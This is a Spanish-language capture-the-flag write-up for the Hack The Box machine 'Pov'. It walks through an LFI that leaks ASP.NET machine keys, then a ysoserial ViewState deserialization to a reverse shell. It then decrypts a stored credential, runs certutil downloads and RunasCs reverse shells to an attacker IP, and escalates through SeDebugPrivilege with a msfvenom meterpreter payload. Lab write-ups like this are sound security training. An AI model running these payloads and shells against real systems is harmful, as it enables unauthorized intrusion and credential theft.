Write up | Pov - Maquina Activa | Savage Lands Season 4

Write up | Pov - Maquina Activa | Savage Lands Season 4

Table of contents

Para comenzar debemos de activar nuestra VPN de HTB, una vez tenemos esto activo, le lanzaremos un ping a la maquina para validar que esta se encuentra activar. Por su TTL ya podemos intuir que es una maquina Windows

ttl=127

Haremos uso de nuestra herramienta de confianza para hacer escaneos de puertos nmap, el escaneo se hace inicialmente por TCP ya que nmap tiene este protocolo por defecto, pero si necesitamos hacer escaneos por UDP simplemente usamos la flag
-sU. Pero en este caso solo hicimos un reconocimiento directamente por TCP y evidenciamos un puerto http abierto:

80/tcp open  http    syn-ack ttl 127
sudo nmap -p- -sS -vvv --open --min-rate 5000 -Pn -n 10.129.75.233 -oG allports 
[sudo] password for kali:  
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower. 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-31 14:28 EST 
Initiating SYN Stealth Scan at 14:28 
Scanning 10.129.75.233 [65535 ports] 
Discovered open port 80/tcp on 10.129.75.233 
Completed SYN Stealth Scan at 14:28, 26.65s elapsed (65535 total ports) 
Nmap scan report for 10.129.75.233 
Host is up, received user-set (0.18s latency). 
Scanned at 2024-01-31 14:28:07 EST for 27s 
Not shown: 65534 filtered tcp ports (no-response) 
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit 
PORT   STATE SERVICE REASON 
80/tcp open  http    syn-ack ttl 127 

Read data files from: /usr/bin/../share/nmap 
Nmap done: 1 IP address (1 host up) scanned in 26.84 seconds 
          Raw packets sent: 131087 (5.768MB) | Rcvd: 17 (748B)

En este punto me pase el reconocimiento de los puertos y fui directamente hacer uso de whatweb que este es como wappalizer pero a nivel de consola, el comando para hacer reconocimiento al puerto es el siguiente:

sudo nmap -sCV -p80 {IP} -oN targets
-sCV: Estas opciones activan diferentes tipos de escaneo:

    -s: Indica el tipo de escaneo. En este caso, s se refiere a un escaneo de servicios.
    -C: Activa la detección de scripts de Nmap. Realiza un escaneo utilizando scripts predefinidos para obtener información adicional sobre los servicios.

-p80: Especifica el puerto que se va a escanear. En este caso, el puerto 80, que es el puerto estándar utilizado para el tráfico HTTP.

{IP}: Reemplaza esto con la dirección IP del objetivo que deseas escanear. Es la dirección IP del sistema que estás investigando.

-oN targets: Esta opción indica a Nmap que guarde la salida del escaneo en un archivo llamado "targets". El formato de salida será normal.

Como podemos evidenciar contamos con el servicio web y el whatweb nos reporta información por consola sobre lo que tiene este host.

whatweb 10.129.75.233 > ScanWeb
cat ScanWeb  
http://10.129.75.233 [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[sfitz@pov.htb], HTML5, HTTPServer[Microsoft-II
S/10.0], IP[10.129.75.233], Microsoft-IIS[10.0], Script, Title[pov.htb], X-Powered-By[ASP.NET]

Cuando ingresamos evidenciamos que el host es pov.htb entonces para ello ingresamos a nuestro /etc/hosts y añadimos la ip que nos otorga HTB más el host para no tenemos problemas con este.

Una vez dentro de la web lo primero que hago es hacer reconocimiento de subdominios existentes con la herramienta de wfuzz. Adicional hice un fuzzing a los directorios del host principal pero no encontré mayor información al respecto.

wfuzz -c --hh=12330 -w  /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -H "HOST: FUZZ.pov.htb" -u http://pov.htb/

En el reconocimiento evidenciamos un subdominio llamado dev.

Nuevamente como el ejercicio anterior debemos de añadir dev.pov.htb a nuestro
/etc/hosts .

Ingresamos a http://dev.pov.htb/ y nos ingresa directamente a /portafolio/. Le he realizado reconocimiento a la web pero no encontré información interesante.

En http://dev.pov.htb/ encontramos una descarga de CV al parecer es el curriculum del Stephen Fitz.

Para este entonces debemos de tener nuestro Burpsuite arriba y capturar la trama justo en el momento donde descargamos el archivo, podemos ver como se esta enviando la petición por POST y el contenido del cuerpo del Request y al otro lado evidenciamos el Response y podemos ver la cabecera de %PDF-1.7

Dentro del Request comencé hacer diversas inyeciones. hasta que intente en &file=cv.pdf para automatizar el proceso tome la decisión de tirar del Intruder y hacer un ataque de inyecciones por diccionario.

Podemos ver las diferentes inyecciones a nivel de windows que inyecte en el payload settings .

En efecto contamos con un LFI.

&file=\web.config

El archivo web.config es un archivo de configuración utilizado en aplicaciones web basadas en el framework ASP.NET de Microsoft. Este archivo se encuentra comúnmente en el directorio raíz de una aplicación web y contiene configuraciones específicas para esa aplicación.

Algunas de las configuraciones que se pueden encontrar en el archivo web.config incluyen:

  1. Configuración de la aplicación: Puede contener información sobre la versión de ASP.NET, configuraciones de la aplicación, y otras opciones relacionadas con la ejecución de la aplicación web.

  2. Configuración de la seguridad: Puede incluir configuraciones de seguridad, como permisos de acceso a carpetas y archivos, configuraciones de autenticación y autorización, entre otros.

  3. Configuración de la base de datos: Si la aplicación utiliza una base de datos, es posible que el web.config contenga información sobre la cadena de conexión a la base de datos u otras configuraciones relacionadas.

  4. Configuración de sesiones y estado: Puede definir configuraciones para el manejo de sesiones de usuario, cookies y otros aspectos relacionados con el estado de la aplicación.

La información que este nos trae tiene una DecriptionKey, Validation y ValidationKey.
Para la explotación de esta información nos hemos apoyado en el siguiente articulo:

https://book.hacktricks.xyz/pentesting-web/deserialization/exploiting-__viewstate-parameter?source=post_page-----7516c938c688--------------------------------

Ahora bien para facilitarnos el proceso de explotación debemos de clonar el siguiente repositorio:

git clone https://github.com/ExoHaeck/OSCP.git
📌

El cual contiene lo necesario para desarrollar la maquina.

Lo primero que debemos hacer es generar una shell con la script llamada Reverse_Shell_for_Power_Shell.py para el uso de esta debemos de indicarle una IP y el puerto donde estaremos en escucha, de la siguiente manera:

Python3 Reverse_Shell_for_Power_Shell.py {IP} {PUERTO}

Una vez generamos la shell el output de consola seria el siguiente:

Por otro lado dentro del repositorio tenemos un zip llamado ysoserial.zip este lo debemos descomprimir y nos dejara un .exe llamado ysoserial.exe el cual lo debemos ejecutar en nuestro powershell. En esta parte del proceso hago uso de mi maquina personal de Windows para ejecutar el exe de la siguiente manera:

Debemos indicarle el 
--decryptionalg="AES"
--decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43"
--validationalg="SHA1"
--decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43"  
--validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468"
--path="/portfolio/default.aspx"
-c "Copiar el payload generado con el script de python"

Nos quedaría de la siguiente forma:

ysoserial.exe -p ViewState -g TextFormattingRunProperties --decryptionalg="AES" --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --validationalg="SHA1" --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" --path="/portfolio/default.aspx" -c "Paste_the_payload_here"

Cargamos la shell generada con anterioridad en la flag -c

Cuando ejecutamos este nos dejara una carga útil que demos de inyectarla en __VIEWSTATE.

Volvemos a nuestra captura de Burpsuite y inyectamos el payload en __VIEWSTATE= Para este punto debemos de tener en escucha el puerto que pusimos en nuestra revershell generada.

Python3 Reverse_Shell_for_Power_Shell.py {IP} {PUERTO}

Nos podemos en escucha por NetCat .

nc -lnvp 4443 #Este fue el puerto que puse en la ReverShell que he generado

Cargamos el payload y enviamos la petición

Tenemos conexión con la maquina.

Validamos los directorios del usuario sfitz nos encontramos en
C:\Users\sfitz\Documents y vemos un archivo en XML llamado connection.xml .

Evidenciamos que contiene un tema de credenciales del usuario alaading. Usuario existente a nivel de sistema.

Debemos ir al siguiente enlace para tener información de como podemos pasar esas credenciales a texto plano.

https://mcpmag.com/articles/2017/07/20/save-and-read-sensitive-data-with-powershell.aspx?source=post_page-----75ab061c8adc--------------------------------

Una vez en el articulo "Cómo guardar y leer datos sensibles con PowerShell" podemos evidenciar un paso a paso para ver la contraseña en texto plano.

En este punto hacemos uso del paso a paso:

$credential = Import-CliXml -Path  <PathToXml>\MyCredential.xml

$credential.GetNetworkCredential().Password

Debemos d cambiar unas cosas, especialmente el -Path e ingresar el path donde están almacenadas las credenciales.

PS C:\Users\sfitz\Documents> $credential = Import-CliXml -Path C:\Users\sfitz\Documents\connection.xml 
PS C:\Users\sfitz\Documents> $credential.GetNetworkCredential().Password 
f8gQ8fynP44ek1m3

Una vez hecho esto tenemos las credenciales para el usuario alaading:f8gQ8fynP44ek1m3

Para este punto debemos entablar un servicio web a través de python de la siguiente forma:

python3 -m http.server 8089

Una vez tenemos el servicio arriba debemos de pasarnos los archivos que nos hemos bajado del repositorio de github.

Una vez tenemos el servicio arriba tenemos que hacer uso de las siguientes lineas para descargar la información.

certutil.exe -urlcache -split -f "http://IP:PORT/EnableAllTokenPrivs.ps1" ".\EnableAllTokenPrivs.ps1"
certutil.exe -urlcache -split -f "http://IP:PORT/psgetsys.ps1" ".\psgetsys.ps1"
certutil.exe -urlcache -split -f "http://IP:PORT/RunasCs.exe" ".\RunasCs.exe"
PS C:\Users\sfitz\Desktop> certutil.exe -urlcache -split -f "http://10.10.14.130:8089/EnableAllTokenPrivs.ps1" ".\EnableAllTokenPrivs.ps1"  
****  Online  **** 
 0000  ... 
 0d79 
CertUtil: -URLCache command completed successfully. 
PS C:\Users\sfitz\Desktop> certutil.exe -urlcache -split -f "http://10.10.14.130:8089/psgetsys.ps1" ".\psgetsys.ps1" 

****  Online  **** 
 0000  ... 
 1726 
CertUtil: -URLCache command completed successfully. 
PS C:\Users\sfitz\Desktop> PS C:\Users\sfitz\Desktop> certutil.exe -urlcache -split -f "http://10.10.14.130:8089/RunasCs.exe" ".\RunasCs.exe" 

****  Online  **** 
 0000  ... 
 ca00 
CertUtil: -URLCache command completed successfully.

Podemos validar que los tenemos en nuestro directorio.

RunasCs es una utilidad para ejecutar procesos específicos con permisos diferentes a los que el engable actual del usuario proporciona usando credenciales explícitas. Esta herramienta es una versión mejorada y abierta de windows builtin runas.exe que resuelve algunas limitaciones:

  • Permite credenciales explícitas

Una vez tenemos el RunasCs descargado en nuestra maquina victima procedemos abrir un puerto con NetCat .

nc -lnvp 4444

Ahora cuando este puerto lo tengamos en escucha, debemos de ingresar el siguiente comando en la linea de comandos de la maquina victima donde ingresaremos nuestra IP y el Puerto que tenemos en escucha en este caso el 4444 . Adicional debemos indicarle el nombre del usuario que es alaading y su contraseña f8gQ8fynP44ek1m3 y le diremos que nos ejecute una shell cmd.exe en la dirección con puerto establecido.

.\RunasCs.exe alaading f8gQ8fynP44ek1m3 cmd.exe -r 10.10.14.130:4444

Ejecutamos el comando a nivel de consola:

En nuestro puerto que tenemos en escucha nos llega una ReverShell.

Evidenciamos que estamos como el usuario alaading.

C:\Windows\system32>whoami 
whoami 
pov\alaading

En este punto nos vamos al directorio C:\Users\alaading\Desktop y podemos evidenciar la flag de usuario.

Escalada de Privilegios

whoami /priv

Al observar los permisos, descubrí que existe SeDebugPrivilege, que se puede transferir directamente con winlogon .

SeDebugPrivilege se refiere al privilegio de depuración en sistemas operativos Windows. Este privilegio otorga a un usuario o proceso el derecho de depurar otros procesos en el sistema. Los privilegios de depuración son críticos para ciertas tareas de bajo nivel, como el desarrollo de software, análisis de malware y la administración avanzada del sistema.

Cuando un usuario o un proceso tiene el privilegio SeDebugPrivilege, puede realizar tareas como:

  1. Depuración de procesos: Puede adjuntar un depurador a otros procesos en ejecución para monitorear o manipular su comportamiento. Esto es esencial para desarrolladores y analistas de software.

  2. Acceso a información privilegiada: SeDebugPrivilege permite acceder a información privilegiada de otros procesos, como la memoria y los registros, lo que es necesario para ciertos tipos de análisis y herramientas de administración del sistema.

  3. Control avanzado del sistema: Al poseer este privilegio, un usuario o proceso puede tener un control más amplio sobre el sistema operativo, lo que puede ser necesario para tareas de administración de sistemas avanzadas.

Pero hay una pregunta aquí. ¿Por qué el powershell generado por RunasCs tiene SeDebugPrivilege, pero cmd no tiene SeDebugPrivilege?

Para Habilitar el estado de este privilegio, cd en el directorio y ejecutar el script que descargamos en sección anterior usando los comandos:

.\psgetsys.ps1
.\EnableAllTokenPrivs.ps1

En esta parte quiero aclarar que se hace el mismo proceso no solo para shell.exe si no tambien para:

certutil.exe -urlcache -split -f "http://IP:PORT/EnableAllTokenPrivs.ps1" ".\EnableAllTokenPrivs.ps1"
certutil.exe -urlcache -split -f "http://IP:PORT/psgetsys.ps1" ".\psgetsys.ps1"

Antes lo habíamos cargado en el usuario sfitz y ahora debemos de cargarlo en el usuario alaading. El motivo es por que cuando estaba con el usuario alaading no me dejaba acceder al directorio del usuario sfitz . Por ende volví a descargarme los archivos EnableAllTokenPrivs.ps1 y psgetsys.ps1 en el Escritorio del usuario alaading .

https://book.hacktricks.xyz/v/es/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens#sedebugprivilege-3.1.9

En este punto en nuestra maquina debemos de generar una ReverShell con msfvenom de la siguiente forma:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=PUERTO -f exe > shell.exe

Haciendo el mismo proceso que hicimos con anterioridad de cargar los archivos en la maquina victima debemos de enviarnos el ReverShell que generamos.

certutil.exe -urlcache -split -f "http://10.10.14.130:8089/shell.exe" ".\shell.exe"

Cargamos la ReverShell en la maquina victima.

Ahora cargado la ReverShell que generamos con msfvenom debemos de abrirnos una session con metasploit de la siguiente forma:

msfconsole
use exploit multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST {Nuestra IP}
set LPORT {PUERTO QUE PUSIMOS EN LA GENERACION DE LA SHELL}
run

Una vez le damos run a nuestra sesión en metasploit este se quedara en espera como un NetCat y debemos de ir a la maquina victima y ejecturar la Shell que generamos con msfvenom que en este caso se llama shell.exe.

.\shell.exe

Una vez la ejecutamos y estableamos conexión debemos de migrar al proceso que vimos mediante los tasklist de la maquina victima llamado winlogon y su PID es el 548.

meterpreter > migrate 548

Una ves hemos migrado tenemos una shell como Administrator y podemos ir al escritorio C:\Users\Administrator\Desktop y podemos ver la flag root.txt

P̸̮̙̤͉͉͊ͅW̶̡̯͚̺̝͈̣̼̬̹̒͒͒̔̐͆̍̀͘Ṋ̵̛̘̃͛͑̑̂͝Ê̷͍͉̝̜̣̳͑̽̓͛̉͒̾͝D̶̡̰̣̻̐̎͋͐̍͗